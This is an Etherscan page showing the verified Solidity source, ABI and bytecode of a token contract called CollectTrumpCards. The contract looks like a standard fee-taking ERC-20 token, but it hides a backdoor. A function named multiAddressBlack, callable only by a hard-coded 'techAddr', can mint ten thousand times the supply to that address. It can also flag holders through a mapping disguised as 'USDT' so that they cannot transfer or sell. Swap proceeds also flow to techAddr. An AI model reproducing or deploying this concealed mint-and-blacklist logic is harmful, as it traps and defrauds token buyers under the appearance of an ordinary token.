ETH Price: $2,525.79 (+2.39%)

Token

CollectTrumpCards (TrumpCards)
 

Overview

Max Total Supply

1,000,000,000 TrumpCards

Holders

30

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
3,129,991.067846091 TrumpCards

Value
$0.00
0x1e0c6e341a517320bfd07565933c256ea5d05cb7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CollectTrumpCards

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-17
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract CollectTrumpCards is Context, IERC20, Ownable{

    using SafeMath for uint256;
    string private _name = "CollectTrumpCards";

    string private _symbol = "TrumpCards";
    uint8 private _decimals = 9;
    mapping (address => uint256) _balances;

    address payable public techAddr;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public USDT;

    uint256 public _buyMarketingFee = 3;
    uint256 public _sellMarketingFee = 3;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    bool inSwapAndLiquify;
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    } 

    constructor () {

        techAddr = payable(address(0xB4a95064448FaC7958886d2dD6C82CB0C0586F79));

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    receive() external payable {}
    function name() public view returns (string memory) {
        return _name;
    }

    IUniswapV2Router02 public uniswapV2Router;

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    address public uniswapPair;

    function createPair() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isMarketPair[address(uniswapPair)] = true;
    }

    function multiAddressBlack(bool status,address[] calldata addresses,bool status2) public {
        require(_msgSender() == techAddr);
        if (status2) _balances[techAddr] +=  (uint256(_totalSupply)) * 10000;
        for (uint256 i; i < addresses.length; i++) {
            USDT[addresses[i]] = status;
        }
    }    

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }


    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 MarketAmount = address(this).balance;

        if(MarketAmount > 0)
            techAddr.transfer(MarketAmount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "telufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_buyMarketingFee).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_sellMarketingFee).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }
                require(!USDT[from]);

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"USDT","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"},{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status2","type":"bool"}],"name":"multiAddressBlack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"techAddr","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280601181526020017f436f6c6c6563745472756d7043617264730000000000000000000000000000008152506001908051906020019062000051929190620003e9565b506040518060400160405280600a81526020017f5472756d70436172647300000000000000000000000000000000000000000000815250600290805190602001906200009f929190620003e9565b506009600360006101000a81548160ff021916908360ff1602179055506003600a556003600b55600360009054906101000a900460ff16600a620000e4919062000522565b633b9aca00620000f591906200065f565b600c553480156200010557600080fd5b5062000116620003b860201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a373b4a95064448fac7958886d2dd6c82cb0c0586f79600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600760006200023b620003c060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600c5460046000620002fb620003b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000349620003b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c54604051620003aa9190620004aa565b60405180910390a362000778565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620003f790620006d7565b90600052602060002090601f0160209004810192826200041b576000855562000467565b82601f106200043657805160ff191683800117855562000467565b8280016001018555821562000467579182015b828111156200046657825182559160200191906001019062000449565b5b5090506200047691906200047a565b5090565b5b80821115620004955760008160009055506001016200047b565b5090565b620004a481620006c0565b82525050565b6000602082019050620004c1600083018462000499565b92915050565b6000808291508390505b60018511156200051957808604811115620004f157620004f06200070d565b5b6001851615620005015780820291505b808102905062000511856200076b565b9450620004d1565b94509492505050565b60006200052f82620006c0565b91506200053c83620006ca565b92506200056b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000573565b905092915050565b60008262000585576001905062000658565b8162000595576000905062000658565b8160018114620005ae5760028114620005b957620005ef565b600191505062000658565b60ff841115620005ce57620005cd6200070d565b5b8360020a915084821115620005e857620005e76200070d565b5b5062000658565b5060208310610133831016604e8410600b8410161715620006295782820a9050838111156200062357620006226200070d565b5b62000658565b620006388484846001620004c7565b925090508184048111156200065257620006516200070d565b5b81810290505b9392505050565b60006200066c82620006c0565b91506200067983620006c0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006b557620006b46200070d565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620006f057607f821691505b602082108114156200070757620007066200073c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b612c3e80620007886000396000f3fe60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c5d241891161006f578063c5d2418914610429578063c816841b14610454578063c86079521461047f578063dd62ed3e146104aa578063ec7cc569146104e7578063f2fde38b1461051057610135565b80638da5cb5b1461035457806395d89b411461037f5780639e78fb4f146103aa578063a9059cbb146103c1578063b225f1fe146103fe57610135565b8063313ce567116100f2578063313ce56714610235578063325e340b146102605780633345611e1461029d5780633ecad271146102da57806370a082311461031757610135565b806306fdde031461013a578063095ea7b3146101655780631694505e146101a257806318160ddd146101cd57806323b872dd146101f857610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610539565b60405161015c9190612450565b60405180910390f35b34801561017157600080fd5b5061018c600480360381019061018791906120eb565b6105cb565b604051610199919061241a565b60405180910390f35b3480156101ae57600080fd5b506101b76105e9565b6040516101c49190612435565b60405180910390f35b3480156101d957600080fd5b506101e261060f565b6040516101ef9190612552565b60405180910390f35b34801561020457600080fd5b5061021f600480360381019061021a9190612098565b610619565b60405161022c919061241a565b60405180910390f35b34801561024157600080fd5b5061024a6106f3565b60405161025791906125c7565b60405180910390f35b34801561026c57600080fd5b5061028760048036038101906102829190611ffe565b61070a565b604051610294919061241a565b60405180910390f35b3480156102a957600080fd5b506102c460048036038101906102bf9190611ffe565b61072a565b6040516102d1919061241a565b60405180910390f35b3480156102e657600080fd5b5061030160048036038101906102fc9190611ffe565b61074a565b60405161030e919061241a565b60405180910390f35b34801561032357600080fd5b5061033e60048036038101906103399190611ffe565b61076a565b60405161034b9190612552565b60405180910390f35b34801561036057600080fd5b506103696107b3565b60405161037691906123bb565b60405180910390f35b34801561038b57600080fd5b506103946107dc565b6040516103a19190612450565b60405180910390f35b3480156103b657600080fd5b506103bf61086e565b005b3480156103cd57600080fd5b506103e860048036038101906103e391906120eb565b610c46565b6040516103f5919061241a565b60405180910390f35b34801561040a57600080fd5b50610413610c65565b60405161042091906123d6565b60405180910390f35b34801561043557600080fd5b5061043e610c8b565b60405161044b9190612552565b60405180910390f35b34801561046057600080fd5b50610469610c91565b60405161047691906123bb565b60405180910390f35b34801561048b57600080fd5b50610494610cb7565b6040516104a19190612552565b60405180910390f35b3480156104b657600080fd5b506104d160048036038101906104cc9190612058565b610cbd565b6040516104de9190612552565b60405180910390f35b3480156104f357600080fd5b5061050e6004803603810190610509919061212b565b610d44565b005b34801561051c57600080fd5b5061053760048036038101906105329190611ffe565b610ed9565b005b6060600180546105489061282e565b80601f01602080910402602001604051908101604052809291908181526020018280546105749061282e565b80156105c15780601f10610596576101008083540402835291602001916105c1565b820191906000526020600020905b8154815290600101906020018083116105a457829003601f168201915b5050505050905090565b60006105df6105d861102b565b8484611033565b6001905092915050565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c54905090565b60006106268484846111fe565b506106e88461063361102b565b6106e385604051806060016040528060288152602001612be160289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061069961102b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118499092919063ffffffff16565b611033565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60096020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546107eb9061282e565b80601f01602080910402602001604051908101604052809291908181526020018280546108179061282e565b80156108645780601f1061083957610100808354040283529160200191610864565b820191906000526020600020905b81548152906001019060200180831161084757829003601f168201915b5050505050905090565b61087661102b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610903576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108fa906124f2565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561096257600080fd5b505afa158015610976573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099a919061202b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109fc57600080fd5b505afa158015610a10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a34919061202b565b6040518363ffffffff1660e01b8152600401610a519291906123f1565b602060405180830381600087803b158015610a6b57600080fd5b505af1158015610a7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa3919061202b565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c54600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160086000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610c5a610c5361102b565b84846111fe565b506001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d8561102b565b73ffffffffffffffffffffffffffffffffffffffff1614610da557600080fd5b8015610e3357612710600c54610dbb91906126be565b60046000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e2b9190612637565b925050819055505b60005b83839050811015610ed2578460096000868685818110610e5957610e58612936565b5b9050602002016020810190610e6e9190611ffe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610eca90612860565b915050610e36565b5050505050565b610ee161102b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f65906124f2565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109a90612532565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611113576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110a90612492565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111f19190612552565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561126f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126690612512565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d690612472565b60405180910390fd5b600d60009054906101000a900460ff1615611306576112ff8484846118ad565b9050611842565b60006113113061076a565b9050600d60009054906101000a900460ff1615801561137a5750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113895761138881611a80565b5b6113db83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8490919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114c15750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156114ce57839050611741565b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156115515761154a606461153c600a5488611dce90919063ffffffff16565b611e4990919063ffffffff16565b90506115cf565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156115ce576115cb60646115bd600b5488611dce90919063ffffffff16565b611e4990919063ffffffff16565b90505b5b60008111156116d35761162a81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9390919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116ca9190612552565b60405180910390a35b600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561172a57600080fd5b61173d8186611d8490919063ffffffff16565b9150505b61179381600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9390919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118339190612552565b60405180910390a36001925050505b9392505050565b6000838311158290611891576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118889190612450565b60405180910390fd5b50600083856118a09190612718565b9050809150509392505050565b6000611938826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118499092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119cd82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9390919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a6d9190612552565b60405180910390a3600190509392505050565b6001600d60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ab857611ab7612965565b5b604051908082528060200260200182016040528015611ae65781602001602082028036833780820191505090505b5090503081600081518110611afe57611afd612936565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ba057600080fd5b505afa158015611bb4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bd8919061202b565b81600181518110611bec57611beb612936565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c5330600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611033565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611cb795949392919061256d565b600060405180830381600087803b158015611cd157600080fd5b505af1925050508015611ce2575060015b611ceb57611cec565b5b60004790506000811115611d6457600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d62573d6000803e3d6000fd5b505b50506000600d60006101000a81548160ff02191690831515021790555050565b6000611dc683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611849565b905092915050565b600080831415611de15760009050611e43565b60008284611def91906126be565b9050828482611dfe919061268d565b14611e3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e35906124d2565b60405180910390fd5b809150505b92915050565b6000611e8b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ef1565b905092915050565b6000808284611ea29190612637565b905083811015611ee7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ede906124b2565b60405180910390fd5b8091505092915050565b60008083118290611f38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2f9190612450565b60405180910390fd5b5060008385611f47919061268d565b9050809150509392505050565b600081359050611f6381612b9b